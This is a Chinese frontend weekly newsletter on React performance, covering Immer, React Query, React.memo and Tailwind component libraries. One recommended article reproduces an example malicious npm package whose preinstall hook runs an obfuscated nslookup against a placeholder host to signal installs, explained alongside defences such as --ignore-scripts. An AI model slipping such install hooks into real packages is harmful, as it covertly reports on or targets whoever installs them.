前端爱好者周刊 32 期:React 应用的性能优化

前端爱好者周刊 (Github: shfshanyue/weekly),每周记录关于前端的开源工具、优秀文章、重大库版本发布记录等等,周刊中优秀文章会在公众号全栈成长之路逐一推送。每周一发布,订阅平台如下,欢迎订阅。

小技巧

  • 快速跳转到文件特定行。在 vim 中,只需输入 :<行号>,如 :25 然后按 Enter,即可快速跳转到第 25 行。
  • VSCode 多游标编辑。按下 Ctrl(Cmd)+ Alt(Option)+ 向上或向下的箭头键,可以在上/下方创建一个新光标,从而同时在多行上进行编辑。
  • JavaScript 深拷贝对象。使用 JSON.parse(JSON.stringify(obj)) 可以对对象 obj 进行简单的深拷贝。
  • 使用 git add -p 可以选择性地暂存代码改动的一部分,做到精细化的提交,每次提交只包含一个逻辑更改。

文章推荐

一、 immer 性能优化意见

Immer 是一款处理不可变数据的 JavaScript 库,其性能表现上乘,这得益于它能够识别出无实质变化的状态并返回原状态,避免了不必要的重新渲染

如果想要向状态树中添加大量的数据,可以先进行冻结操作:

js 复制代码
import { freeze } from "immer";

data = freeze(bigData);

具有高性能需求的 reducer 可选择手动编写,而对于常规的 reducer 则可以使用 Immer 进行处理:

js 复制代码
let state = //...
let action = //...

function reducer(state, action) {
    switch (action.type) {
        // 手动编写的更新逻辑
        case "UPDATE_HIGH_PERFORMANCE":
        // 使用 Immer 进行状态更新
        case "UPDATE_NORMAL":
            return produce(state, draft => { /* 更新逻辑 */ })
        default:
            return state
    }
}

最后,我们应该尽量提升 produce 的调用层级以提升性能。

javascript 复制代码
produce(baseState, (draft) => {
  // 将 for 循环置于 produce 内部,而非外部
  for (let i = 0; i < arr.length; i++) draft.push(arr[i]);
});

二、 React Query 渲染优化

在这篇文章中,详解了 React Query 如何进行渲染优化。主要介绍了 isFetching 字段,这个字段会在发起请求时设置为 true,但如果你不打算显示加载状态,就可能引发不必要的重绘。

同时,还介绍了 notifyOnChangeProps 选项:

ts 复制代码
export const useTodosQuery = (select, notifyOnChangeProps) =>
  useQuery({
    queryKey: ["todos"],
    queryFn: fetchTodos,
    select,
    notifyOnChangeProps,
  });
export const useTodosCount = () =>
  useTodosQuery((data) => data.length, ["data"]);

在跟踪查询中, React Query 会记录渲染过程中用到的字段,并根据这些字段计算出变更列表。这个特性可以通过将 notifyOnChangeProps 设为 'tracked' 来启用:

ts 复制代码
const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      notifyOnChangeProps: "tracked",
    },
  },
});

最后,作者介绍了结构共享(Structural sharing),这个技巧会在数据结构的每一级中保持引用的一致性。只有在数据发生变动的部分,才会在新旧状态中进行复制,从而优化渲染。

其渲染优化核心函数可见 replaceEqualDeep

三、 实际上,React.memo 很有用

本文是作者基于个人经验对 React.memo, React.useMemo 和 React.useCallback 的看法。

作者指出这些性能 API 被错误地看作有害,并解释如何正确使用它们。他反驳了多个关于这些 API 的常见误解,比如它们会减慢应用速度、只有在特定情况下有用、会破坏代码的可读性和可维护性等观点。

文章还解释了怎样通过优化对 React.memo 包裹的组件的 props 传递来提升性能,同时强调,在合理的情况下应该考虑使用性能 API。

最后,作者表达了对在 React 代码中追求效率的热情,并坚信正确使用性能 API 会提高应用性能。

四、 如何运用 npm install 脚本进行攻击:一个 npm 包含恶意代码的实际例子

文章介绍了 npm 预安装和后安装脚本如何被用为注入恶意代码到开源包的方式,并举出了一个实际的恶意 npm 包的例子。

在这个例子中,有一个名为 "very-trustyworthy-package" 的包,它包括一个在安装时运行的 preinstall 脚本,该脚本有一个 install.sh 的 shell 脚本。

json 复制代码
{
  "name": "very-trustyworthy-package",
  "version": "0.0.42",
  "scripts": {
    "preinstall": "sh install.sh"
  }
}
shell 复制代码
#!/usr/bin/env sh

echo "Starting build..."
amount=ample
former=ex
organization=org
install_a=nslo
install_b=okup

$install_a$install_b trustworthy-package.xyz.$former$amount.$organization >/dev/null

echo "Build succeeded..."

执行上述安装脚本后,它会进行一个 DNS 调用,查找 trustworthy-package.xyz.example.org

这个包的设计者可以通过这种方式知道有人安装了他们的包,并获取了一些信息。

文中也提供了一些方法来保护自身安全,比如运行带有 --ignore-scripts 选项的 npm,避免执行preinstallpostinstall 脚本,并使用 Trusty 和 Minder 这类自动化的依赖分析和强制执行的工具。

开源与库

一、 twc,基于 react 与 tailwind 通过一行代码就能创建出可复用的组件

cva 旨在为开发者提供一种更方便的方法,以解决 "传统" 的 CSS 方法在创建 CSS 类变体以及匹配类到组件属性时可能出现的一些麻烦。

在传统的方法中,开发者需要将 CSS 类手动匹配到组件的属性,并手动添加类型。这些看似简单,实际上却可能非常繁琐和耗时。

cva 帮助开发者简化这些过程,让他们可以专心于 UI 开发的有趣部分。具体地,如果你需要在组件中创建一个 'primary' 变体,你可以这样做:

javascript 复制代码
mport { cva } from "class-variance-authority";

const button = cva(["font-semibold", "border", "rounded"], {
  variants: {
    intent: {
      primary: [
        "bg-blue-500",
        "text-white",
        "border-transparent",
        "hover:bg-blue-600",
      ],
      secondary: [
        "bg-white",
        "text-gray-800",
        "border-gray-400",
        "hover:bg-gray-100",
      ],
    },
    size: {
      small: ["text-sm", "py-1", "px-2"],
      medium: ["text-base", "py-2", "px-4"],
    },
  },
  defaultVariants: {
    intent: "primary",
    size: "medium",
  },
});

button();
// => "font-semibold border rounded bg-blue-500 text-white border-transparent hover:bg-blue-600 text-base py-2 px-4 uppercase"

button({ intent: "secondary", size: "small" });

如上所示,cva 提供了一种简洁高效的方式来定义和管理 CSS 类。这可以大大提高开发者的工作效率,并使得他们能够专注于开发更多有趣的 UI 功能。

二、 twc,基于 react 与 tailwind 通过一行代码就能创建出可复用的组件

TWC 为 React 和 Tailwind CSS 提供了强有力的结合,通过一行代码就能创建出可复用的组件。

它的特性包括轻量级、全编辑器支持、基于属性的样式适应、类复用支持和所有组件兼容。你甚至可以在服务器端渲染 React 组件。

并且,TWC 提供了对 tailwind-merge 和 cva 的一流支持。以下是一个使用和不使用 TWC 的示例:

使用 TWC 前:

javascript 复制代码
import * as React from "react";

const Card = React.forwardRef<
  HTMLDivElement,
  React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => (
  <div
    ref={ref}
    className={clsx(
      "rounded-lg border bg-slate-100 text-white shadow-sm",
      className,
    )}
    {...props}
  />
));

使用 TWC 后:

javascript 复制代码
import { twc } from "react-twc";

const Card = twc.div`rounded-lg border bg-slate-100 text-white shadow-sm`;

从以上代码可以看出,使用 TWC 创建组件可以使代码更加简洁和易读,减少了样式代码的复杂性。

开发利器

一、 Code To Graph

Code To Graph 是一个用于可视化代码的在线工具。它能够将代码转换成图形,并显示其执行流程。

相关推荐
学习使我快乐012 小时前
JS进阶 3——深入面向对象、原型
开发语言·前端·javascript
bobostudio19952 小时前
TypeScript 设计模式之【策略模式】
前端·javascript·设计模式·typescript·策略模式
黄尚圈圈3 小时前
Vue 中引入 ECharts 的详细步骤与示例
前端·vue.js·echarts
浮华似水4 小时前
简洁之道 - React Hook Form
前端
正小安6 小时前
如何在微信小程序中实现分包加载和预下载
前端·微信小程序·小程序
_.Switch8 小时前
Python Web 应用中的 API 网关集成与优化
开发语言·前端·后端·python·架构·log4j
一路向前的月光8 小时前
Vue2中的监听和计算属性的区别
前端·javascript·vue.js
长路 ㅤ   8 小时前
vite学习教程06、vite.config.js配置
前端·vite配置·端口设置·本地开发
长路 ㅤ   8 小时前
vue-live2d看板娘集成方案设计使用教程
前端·javascript·vue.js·live2d
Fan_web8 小时前
jQuery——事件委托
开发语言·前端·javascript·css·jquery